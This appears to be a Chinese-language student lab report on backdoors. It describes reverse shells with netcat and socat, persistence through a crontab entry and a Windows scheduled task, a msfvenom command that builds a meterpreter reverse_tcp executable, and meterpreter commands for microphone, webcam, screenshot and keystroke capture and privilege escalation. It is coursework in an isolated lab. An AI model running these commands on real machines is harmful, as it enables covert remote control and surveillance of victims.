Exp2 后门原理与实践
实验内容
一、使用netcat获取主机操作Shell,cron启动
使用netcat获取主机操作Shell
- Win获得Linux Shell
查看win的ip地址
windows 打开监听
Linux反弹连接win
windows下获得一个linux shell,可运行任何指令,如ls
- Linux获得Win Shell
查看kali的ip地址
Linux运行监听指令
Windows反弹连接Linux
Linux下看到Windows的命令提示
kali_win.png
- nc传输数据
Windows下监听端口:
Kali下连接到Windows的端口:
可以传输字符串。
cron启动
先在Windows系统下,监听5209端口:
在Kali环境下,使用man crontab指令查看crontab命令的帮助文档,从文档中我们可以知道crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab文件中,以供之后读取和执行。
用crontab -e指令编辑一条定时任务
在最后一行添加10 * * * * /bin/netcat 192.168.33.130 5209 -e /bin/sh。依据我做实验的时间,我将其设置在每小时的第十分钟。
当时间到了,此时已经获得了Kali的shell,可以输入指令
二、使用socat获取主机操作Shell, 任务计划启动
- socat基本语法 socat [options]
- 其中这2个address就是关键了,如果要解释的话,address就类似于一个文件描述符,socat所做的工作就是在2个address指定的描述符间建立一个pipe用于发送和接收数据。
Windows->控制面板->管理工具->任务计划程序.执行上述步骤
新建一个触发器,选择当锁定任何用户的工作站时
在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5209 exec:cmd.exe,pty,stderr
创建完成之后,按Windows+L快捷键锁定计算机
此时,在Kali环境下输入指令socat - tcp:10.1.1.141:5209。即可获得了一个cmd shell
三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 通过模仿命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.136 `PORT=443 -f exe > meter_backdoor.exe
生成自己的后门程序。
2. 将生成的文件复制到win,我使用之前的nc指令将后门程序传到win。
在Kali上使用msfconsole指令进入msf控制台
进入handler模式
设置payload,设置LHOST,设置LPORT
- 全部设置完成之后,kali下开始监听,win下启动后门程序,kali下即获得win的shell
四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
使用record_mic指令可以截获一段音频:
使用webcam_snap指令可以使用摄像头进行拍照:
使用webcam stream指令可以使用摄像头进行录像
使用screenshot指令可以进行截屏:
使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录:
先使用getuid指令查看当前用户,使用getsystem指令进行提权。但是结果显示提权失败,可能是使用的系统有问题。
基础问题回答
- 例举你能想到的一个后门进入到你系统中的可能方式?
- 平时在网络上下载东西,其中可能包含后门程序。
- 例举你知道的后门如何启动起来(win及linux)的方式?
- 通过远程控制开启后门程序。
- 使用定时任务,定时开启。
- Meterpreter有哪些给你映像深刻的功能?
- 我觉得最厉害的是可以提权,获得System权限,虽然我的提权实验没有成功。。。
- 如何发现自己有的系统有没有被安装后门?
- 通过杀毒软件进行杀毒